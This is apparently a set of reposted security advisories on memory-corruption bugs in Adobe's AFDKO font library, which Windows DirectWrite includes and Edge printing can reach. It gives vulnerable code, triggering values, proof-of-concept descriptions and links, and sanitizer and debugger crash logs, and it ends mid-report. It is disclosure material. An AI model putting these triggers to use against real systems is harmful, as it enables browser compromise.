-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
--- cut ---
2347 switch (read1(h)) {
2348 case 0:
2349 for (gid = 0; gid < h->glyphs.cnt; gid++)
2350 h->glyphs.array[gid].iFD = read1(h);
2351 break;
2352 case 3: {
2353 int nRanges = read2(h);
2354
2355 gid = read2(h);
2356 while (nRanges--) {
2357 int fd = read1(h);
2358 long next = read2(h);
2359
2360 while (gid < next)
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
2362 }
2363 } break;
--- cut ---
The "iFD" field is an unsigned char, as defined in afdko/c/public/lib/api/absfont.h:
--- cut ---
393 unsigned char iFD; /* CID-keyed: FD index */
--- cut ---
As shown above, it is initialized directly from the input stream and so the font file has complete control over it. There are no bounds checks to verify if the value is consistent with other structures in the font.
The field is used to store an index into the h->fdicts array, whose size is determined by the length of the FDArray index, see readFDArray():
--- cut ---
1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
1699 if (h->index.FDArray.count > 256)
1700 fatal(h, cfrErrBadFDArray);
1701
1702 /* Read FDArray */
1703 dnaSET_CNT(h->FDArray, h->index.FDArray.count);
1704 dnaSET_CNT(h->fdicts, h->index.FDArray.count);
--- cut ---
If any of the iFD fields are set to a value exceeding the lengths of the h->FDArray / h->fdicts arrays, the library may access invalid memory in the following locations in code:
--- cut ---
2796 if (h->fdicts.array[info->iFD].Private.LanguageGroup == 1)
2797 info->flags |= ABF_GLYPH_LANG_1;
[...]
2887 t2cAuxData *aux = &h->FDArray.array[info->iFD].aux;
--- cut ---
The second instance is especially dangerous in the context of memory safety, as the "aux" pointer fetched from an invalid memory location (potentially attacker-controlled) is later extensively used during the Type 2 CharString execution for reading and writing.
As a side note, we believe that the FDArray / fdicts arrays should consist of at least one element for every CID-keyed font, so we would suggest adding an additional check for "h->index.FDArray.count < 1" in the if statement shown below:
--- cut ---
1698 readINDEX(h, &h->region.FDArrayINDEX, &h->index.FDArray);
1699 if (h->index.FDArray.count > 256)
1700 fatal(h, cfrErrBadFDArray);
--- cut ---
-----=====[ Proof of Concept ]=====-----
The proof of concept file contains a one-element FDArray. It also sets the iFD index of all glyphs to 1, which triggers a slightly out-of-bounds (off by one) access to h->fdicts.array[1] that is easily detected by AddressSanitizer. In non-ASAN builds, the code crashes later on when trying to access an invalid h->FDArray.array[1].aux pointer.
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and a second copy of it with the modified iFD was inserted at the end of the font with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
-----=====[ Crash logs ]=====-----
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
--- cut ---
=================================================================
==199139==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62f00000d808 at pc 0x000000529c2c bp 0x7ffd5db0b270 sp 0x7ffd5db0b268
READ of size 8 at 0x62f00000d808 thread T0
#0 0x529c2b in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2796:56
#1 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#2 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#3 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#4 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#5 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#6 0x7f10333f82b0 in __libc_start_main
#7 0x41e5b9 in _start
0x62f00000d808 is located 2440 bytes to the right of 51840-byte region [0x62f000000400,0x62f00000ce80)
allocated by thread T0 here:
#0 0x4c63f3 in __interceptor_malloc
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x526b21 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2631:5
#6 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#7 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#8 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#9 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#10 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#11 0x7f10333f82b0 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2796:56 in cfrBegFont
Shadow bytes around the buggy address:
0x0c5e7fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c5e7fff9b00: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==199139==ABORTING
--- cut ---
A non-instrumented version of "tx" crashes with a SIGSEGV trying to fetch a function pointer from an unmapped memory area:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
255 if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))
(gdb) x/15i $rip
=> 0x46382f <srcSeek+31>: mov 0x20(%rsi),%rsi
0x463833 <srcSeek+35>: mov -0x10(%rbp),%rdi
0x463837 <srcSeek+39>: mov 0x9cef8(%rdi),%rdi
0x46383e <srcSeek+46>: mov 0x10(%rdi),%rdi
0x463842 <srcSeek+50>: mov -0x10(%rbp),%rax
0x463846 <srcSeek+54>: mov 0x9cef8(%rax),%rax
0x46384d <srcSeek+61>: mov 0x8(%rax),%rax
0x463851 <srcSeek+65>: mov -0x18(%rbp),%rdx
0x463855 <srcSeek+69>: mov %rsi,-0x20(%rbp)
0x463859 <srcSeek+73>: mov %rax,%rsi
0x46385c <srcSeek+76>: mov -0x20(%rbp),%rax
0x463860 <srcSeek+80>: callq *%rax
0x463862 <srcSeek+82>: cmp $0x0,%eax
0x463865 <srcSeek+85>: je 0x463877 <srcSeek+103>
0x46386b <srcSeek+91>: movl $0x1,-0x4(%rbp)
(gdb) info reg $rsi
rsi 0x440cc00044098000 4903505201673633792
(gdb) x/10gx $rsi
0x440cc00044098000: Cannot access memory at address 0x440cc00044098000
(gdb) print h->aux
$1 = (t2cAuxData *) 0x7157f8
(gdb) print h->aux->stm
$2 = (ctlStreamCallbacks *) 0x440cc00044098000
(gdb) print h->aux->stm->seek
Cannot access memory at address 0x440cc00044098020
(gdb) bt
#0 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
#1 0x000000000045da61 in t2Decode (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:1271
#2 0x000000000045cb26 in t2cParse (offset=23445, endOffset=23563, aux=0x7157f8, gid=0, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
at ../../../../../source/t2cstr/t2cstr.c:2591
#3 0x000000000041371f in readGlyph (h=0x710380, gid=0, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
#4 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
#5 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
#7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
at ../../../../source/tx.c:488
#8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
#9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
--- cut ---
A similar Microsoft Edge renderer process crash is also shown below:
--- cut ---
(1838.4490): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!srcSeek+0x21:
00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] ds:0030002f`00330050=????????????????
DWrite!srcSeek:
00007ffc`c59f1528 48895c2408 mov qword ptr [rsp+8],rbx
00007ffc`c59f152d 57 push rdi
00007ffc`c59f152e 4883ec20 sub rsp,20h
00007ffc`c59f1532 8bda mov ebx,edx
00007ffc`c59f1534 488bf9 mov rdi,rcx
00007ffc`c59f1537 488b91a8f40000 mov rdx,qword ptr [rcx+0F4A8h]
00007ffc`c59f153e 448bc3 mov r8d,ebx
00007ffc`c59f1541 488b4a10 mov rcx,qword ptr [rdx+10h]
00007ffc`c59f1545 488b5208 mov rdx,qword ptr [rdx+8]
00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h]
00007ffc`c59f154d ff15edd20200 call qword ptr [DWrite!_guard_dispatch_icall_fptr (00007ffc`c5a1e840)]
00007ffc`c59f1553 85c0 test eax,eax
00007ffc`c59f1555 7407 je DWrite!srcSeek+0x36 (00007ffc`c59f155e)
00007ffc`c59f1557 b801000000 mov eax,1
00007ffc`c59f155c eb08 jmp DWrite!srcSeek+0x3e (00007ffc`c59f1566)
00007ffc`c59f155e 899f94f40000 mov dword ptr [rdi+0F494h],ebx
00007ffc`c59f1564 33c0 xor eax,eax
00007ffc`c59f1566 488b5c2430 mov rbx,qword ptr [rsp+30h]
00007ffc`c59f156b 4883c420 add rsp,20h
00007ffc`c59f156f 5f pop rdi
00007ffc`c59f1570 c3 ret
0:038> db poi(rdi+f4a8)
0000020c`ffd04170 ee 01 64 00 6f 00 77 00-73 00 2f 00 32 00 30 00 ..d.o.w.s./.2.0.
0000020c`ffd04180 30 00 33 00 2f 00 30 00-38 00 2f 00 70 00 72 00 0.3./.0.8./.p.r.
0000020c`ffd04190 69 00 6e 00 74 00 69 00-6e 00 67 00 2f 00 70 00 i.n.t.i.n.g./.p.
0000020c`ffd041a0 72 00 69 00 6e 00 74 00-73 00 63 00 68 00 65 00 r.i.n.t.s.c.h.e.
0000020c`ffd041b0 6d 00 61 00 6b 00 65 00-79 00 77 00 6f 00 72 00 m.a.k.e.y.w.o.r.
0000020c`ffd041c0 64 00 73 00 7d 00 50 00-00 00 67 00 65 00 52 00 d.s.}.P...g.e.R.
0000020c`ffd041d0 65 00 73 00 6f 00 6c 00-75 00 74 00 69 00 6f 00 e.s.o.l.u.t.i.o.
0000020c`ffd041e0 6e 00 00 00 00 00 80 3e-00 00 80 3e 00 00 80 3e n......>...>...>
0:038> k
# Child-SP RetAddr Call Site
00 0000008a`e128be10 00007ffc`c59f3fe5 DWrite!srcSeek+0x21
01 0000008a`e128be40 00007ffc`c59f4a5b DWrite!t2DecodeSubr+0x21
02 0000008a`e128bea0 00007ffc`c59dc103 DWrite!t2cParse+0x287
03 0000008a`e129b800 00007ffc`c59de3f7 DWrite!readGlyph+0x12b
04 0000008a`e129b870 00007ffc`c59d2272 DWrite!cfrIterateGlyphs+0x37
05 0000008a`e129b8c0 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x19a
06 0000008a`e129bdc0 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
07 0000008a`e129bfa0 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
08 0000008a`e129c1c0 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
09 0000008a`e129c520 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
0a 0000008a`e129c5b0 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0b 0000008a`e129c6d0 00007ffc`b3ff5464 d2d1!dxc::CXpsPrintControl::Close+0xc8
0c 0000008a`e129c720 00007ffc`b3fcfd30 edgehtml!CDXPrintControl::Close+0x44
0d 0000008a`e129c770 00007ffc`b3fd48bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0e 0000008a`e129c7a0 00007ffc`b3eab995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0f 0000008a`e129c7d0 00007ffc`b3b09485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
10 0000008a`e129c810 00007ffc`a3c244c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47097.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863592424
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
In this specific case, it might be difficult to reach the vulnerability described here through DirectWrite, because DWrite would first have to accept and correctly load a font collection with a malformed directory count. During our brief testing, we were unable to achieve this. On the other hand, the Windows library still contains the readTTCDirectory() function together with the vulnerable code, so in case the code can be reached in a way we haven't considered, we have opted to report the bug despite its apparent unreachability at this time.
-----=====[ Description ]=====-----
The bug resides in the loading of font collections, i.e. files with the "ttcf" header. Specifically, the problem is found in the readTTCDirectory() function in source/sfntread/sfntread.c:
--- cut ---
184 h->TTC.DirectoryCount = read4(h);
185 h->TTC.TableDirectory = (long *)memResize(h, h->TTC.TableDirectory,
186 h->TTC.DirectoryCount * sizeof(long *));
187 h->flags |= TTC_STM; /* readSfntDirectory( reads in to h->TTC.TableDirectory[i].directory if TTC_STM is set.*/
188
189 for (i = 0; i < h->TTC.DirectoryCount; i++) {
190 h->TTC.TableDirectory[i] = read4(h) + origin;
191 }
--- cut ---
The DirectoryCount field of type "long" is (almost - depending on the platform) fully controlled by the input file, as initialized in line 184. Then, it is used to calculate the size of a dynamically allocated buffer in line 186. On 32-bit platforms, if the value is equal or larger than 0x40000000, the multiplication will overflow the integer range, resulting in allocating a buffer too small to store the data later written to it by the loop in lines 189-191. This behavior may subsequently lead to heap-based memory corruption.
-----=====[ Proof of Concept ]=====-----
The proof of concept file triggers the bug by declaring DirectoryCount as 0x40000001, which results in the allocation of a 4-byte buffer. Since more than one 4-byte offset is loaded from the font, a heap-based buffer overflow takes place in line 190 during the second iteration of the loop.
-----=====[ Crash logs ]=====-----
A crash log from a 32-bit "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:
--- cut ---
=================================================================
==25409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255953 bp 0xffb10ff8 sp 0xffb10ff0
WRITE of size 4 at 0xf50006f4 thread T0
#0 0x8255952 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:190:34
#1 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
#2 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
#3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
#4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
#5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#8 0xf7b95275 in __libc_start_main
#9 0x806a590 in _start
0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
allocated by thread T0 here:
#0 0x810ddc5 in __interceptor_malloc
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
#3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
#4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
#5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
#6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
#7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#11 0xf7b95275 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:190:34 in readTTCDirectory
Shadow bytes around the buggy address:
0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==25409==ABORTING
--- cut ---
A slightly different crash is generated if we set DirectoryCount to a negative value (e.g. 0x80000000), which skips the loop in lines 189-191 and crashes a bit further down the line:
--- cut ---
=================================================================
==26803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006f4 at pc 0x08255d1d bp 0xffee0908 sp 0xffee0900
READ of size 4 at 0xf50006f4 thread T0
#0 0x8255d1c in sfrGetNextTTCOffset afdko/c/public/lib/source/sfntread/sfntread.c:256:12
#1 0x835f5dc in addTTC afdko/c/public/lib/source/tx_shared/tx_shared.c:5082:31
#2 0x83556d8 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5144:21
#3 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
#4 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
#5 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#6 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#7 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#8 0xf7b0f275 in __libc_start_main
#9 0x806a590 in _start
0xf50006f4 is located 0 bytes to the right of 4-byte region [0xf50006f0,0xf50006f4)
allocated by thread T0 here:
#0 0x810ddc5 in __interceptor_malloc
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x8256bac in memResize afdko/c/public/lib/source/sfntread/sfntread.c:67:18
#3 0x82557a1 in readTTCDirectory afdko/c/public/lib/source/sfntread/sfntread.c:185:37
#4 0x82544fd in sfrBegFont afdko/c/public/lib/source/sfntread/sfntread.c:231:13
#5 0x8355234 in readsfnt afdko/c/public/lib/source/tx_shared/tx_shared.c:5118:14
#6 0x834f24e in buildFontList afdko/c/public/lib/source/tx_shared/tx_shared.c:5481:25
#7 0x8155001 in doFile afdko/c/tx/source/tx.c:403:5
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#11 0xf7b0f275 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/sfntread/sfntread.c:256:12 in sfrGetNextTTCOffset
Shadow bytes around the buggy address:
0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
0x3ea000e0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x3ea000f0: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==26803==ABORTING
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47096.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
-----=====[ Description ]=====-----
The readFDSelect() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the FDSelect table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:
--- cut ---
2352 case 3: {
2353 int nRanges = read2(h);
2354
2355 gid = read2(h);
2356 while (nRanges--) {
2357 int fd = read1(h);
2358 long next = read2(h);
2359
2360 while (gid < next)
2361 h->glyphs.array[gid++].iFD = (unsigned char)fd;
2362 }
2363 } break;
--- cut ---
In the handling of FDSelect Type 3 (see [5]), the code doesn't consider the size of the h->glyphs array and writes to it solely based on the FDSelect information. If the values read from the input stream in lines 2353, 2355 and 2358 exceed the number of glyphs in the font, the array may be overflown in line 2361, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:
--- cut ---
1791 dnaSET_CNT(h->glyphs, index.count);
--- cut ---
